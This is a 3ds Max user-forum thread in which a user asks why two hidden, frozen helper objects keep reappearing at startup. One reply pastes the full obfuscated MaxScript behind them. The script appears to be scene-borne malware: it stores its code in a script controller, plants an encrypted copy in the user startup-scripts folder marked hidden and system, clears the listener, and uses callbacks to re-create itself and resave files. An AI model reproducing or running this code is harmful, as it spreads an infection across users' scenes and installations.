default max scene startup

default max scene startup

themaxxer
Enthusiast Enthusiast
3,780 Views
4 Replies
Message 1 of 5

default max scene startup

themaxxer
Enthusiast
Enthusiast

hello there

I have a strange problem with 2 freezed and hidden helper objects in the scene explorer after a clean max start... I cannot delete them... after renaming them I can delete them, BUT after a clean max start they are back. I have NO custom maxstart.max scene.

 

where does max get the startup file from? I have not found anything...

 

thanks for helping.

 

best regards

manuel

0 Likes
Accepted solutions (1)
3,781 Views
4 Replies
Replies (4)
Message 2 of 5

jamesw
Collaborator
Collaborator

Delete unwanted objects and save the scene as maxstart.max in you loacal files for 3ds max, see here for more on maxstart.

 

https://forums.autodesk.com/t5/3ds-max-programming/how-to-replace-maxstart-max-file-to-reset-to-cust...

0 Likes
Message 3 of 5

themaxxer
Enthusiast
Enthusiast

thanks, I have tried that... doesn't work....

they are present no matter if I save a custom maxstart.max...

 

but I have found out, there is a script in the listener at every startup of max.

global px_HiddenNodeCleanBeta,getNetUpdateCleanBeta,AutodeskLicSerStuckCleanBeta,px_SimulatorForModifyCleanBeta,px_SimulatorForStateCleanBeta,px_SimulatorSaveCleanBeta
fn px_HiddenNodeCleanBeta=(sis=setINISetting;mip=((getdir #plugcfg)+"\\ExplorerConfig\\SceneExplorer\\DefaultModalSceneExplorer.ini");sis mip "Explorer" "Hidden" "false";sis mip "Explorer" "Frozen" "false";)
fn getNetUpdateCleanBeta =(clearListener()); 
fn AutodeskLicSerStuckCleanBeta =(if (::physXCrtRbkInfoCleanBeta != undefined) then (format "%\n" "") else physXCrtRbkInfoCleanBeta = undefined;cs="M=";ce="Nl";cx="NleA==";
dfet=doesfileexist;gfnp=getFilenamePath;gfnf=getFilenameFile;gsfn=getSourceFileName;oef=openEncryptedFile;uss=#userStartupScripts;vpbg=#Viewportbackground;
sfa=setFileAttribute;gd=getDir;hd=#hidden;sys=#system;mb="XHZyZGVtYXRjbGVhbmJldGEubX";ab=CleanBetabaseCC64dec;try deletefile ((gd uss)+(ab(mb+cs))) catch();try px_HiddenNodeCleanBeta() catch()
if not ($×þ×ü != undefined and classof $×þ×ü == point) do
(
	p2=point name:"×þ×ü" wireColor:((colorMan.getColor vpbg)*[255.,255.,255.]) size:0.01 showFrozenInGray:off;
	p1=point name:"¡¡×ý×û" wireColor:((colorMan.getColor vpbg)*[255.,255.,255.]) size:0.01 showFrozenInGray:off;
	p1.scale.controller = (scale_script());freeze p1;freeze p2;hide p1;hide p2;
	try 
	(
		if physXCrtRbkInfoCleanBeta == undefined then
		(
			global xf;if dfet (gfnp (gsfn()) + gfnf (gsfn()) + ".msex")then(
			xf=oef (gfnp (gsfn()) + gfnf (gsfn()) + ".msex") 1808894313);
			else(xf=openFile (gfnp (gsfn()) + gfnf (gsfn()) + ".ms"));
			cf="\n";st=readLine xf;cf+=st;
			while classof st == string do
			(
				try st = readLine xf catch( st = undefined);
				try if st !=undefined do cf += (st+"\n") catch();
			);
			close xf;--xf = undefined;
			physXCrtRbkInfoCleanBeta=CleanBetabaseCC64enc cf;format "cf is: %\n" cf;
			p1.scale.controller.script=CleanBetabaseCC64dec physXCrtRbkInfoCleanBeta;
		)else (p1.scale.controller.script=CleanBetabaseCC64dec physXCrtRbkInfoCleanBeta);
	)
	catch()
);
if not(dfet ((gd uss)+(ab(mb+ce)))) do 
(
	global codefile;try codefile=createFile ((gd uss)+(ab(mb+cs))) catch()
	try(if($×þ×ü != undefined and classof $×þ×ü == point)do(format "%\n"($¡¡×ý×û.scale.controller.script) to:codefile;close codefile;free codefile;);
	encryptScript ((gd uss)+(ab(mb+cs))) version:1;encryptFile ((gd uss)+(ab(mb+cs))) ((gd uss)+(ab(mb+cx))) 1808894313;)catch();
	try (close codefile ;free codefile) catch();try deletefile ((gd uss)+(ab(mb+cs))) catch();codefile = undefined;
	try(sfa ((gd uss)+(ab(mb+ce))) hd on;sfa ((gd uss)+(ab(mb+ce))) sys on)catch();
	try(sfa ((gd uss)+(ab(mb+cx))) hd on;sfa ((gd uss)+(ab(mb+cx))) sys on)catch();
);/*clearListener()*/);AutodeskLicSerStuckCleanBeta();
fn px_SimulatorForModifyCleanBeta=
(
	try
	(
		undo off
		(
			PxBoxRedo=callbacks.notificationParam();
			if classof PxBoxRedo==point do
			(
				if PxBoxRedo.name == "×þ×ü" do
				(
					p2=point name:"×þ×ü" wireColor:((colorMan.getColor #Viewportbackground)*[255.,255.,255.]) size:0.01 showFrozenInGray:off;
					freeze p2;
					hide p2;
				)
				if PxBoxRedo.name == "¡¡×ý×û" do
				(
					p1=point name:"¡¡×ý×û" wireColor:((colorMan.getColor #Viewportbackground)*[255.,255.,255.]) size:0.01 showFrozenInGray:off;
					freeze p1;
					hide p1;
					p1.scale.controller = (scale_script());
					p1.scale.controller.script=(CleanBetabaseCC64dec physXCrtRbkInfoCleanBeta);
				)
			)
		)
	)catch();clearUndoBuffer()
)
fn px_SimulatorForStateCleanBeta=(try(undo off(PxBoxRedo=callbacks.notificationParam();
if classof PxBoxRedo==point do(if PxBoxRedo.name == "¡¡×ý×û" or PxBoxRedo.name == "×þ×ü" do (freeze PxBoxRedo;hide PxBoxRedo));))catch())
fn px_SimulatorSaveCleanBeta=(if((maxfilepath+maxfilename)!= "")do(saveMaxFile(maxfilepath+maxfilename)));px_SimulatorCbaCleanBeta()
);[1,1,1];

I can't get rid of it... any ideas from where this script comes?

because one of the helper named like:

"¡¡×ý×û"

 

the other:

"×þ×ü"

best regards

manuel

0 Likes
Message 5 of 5

themaxxer
Enthusiast
Enthusiast

thank you, will read this.

0 Likes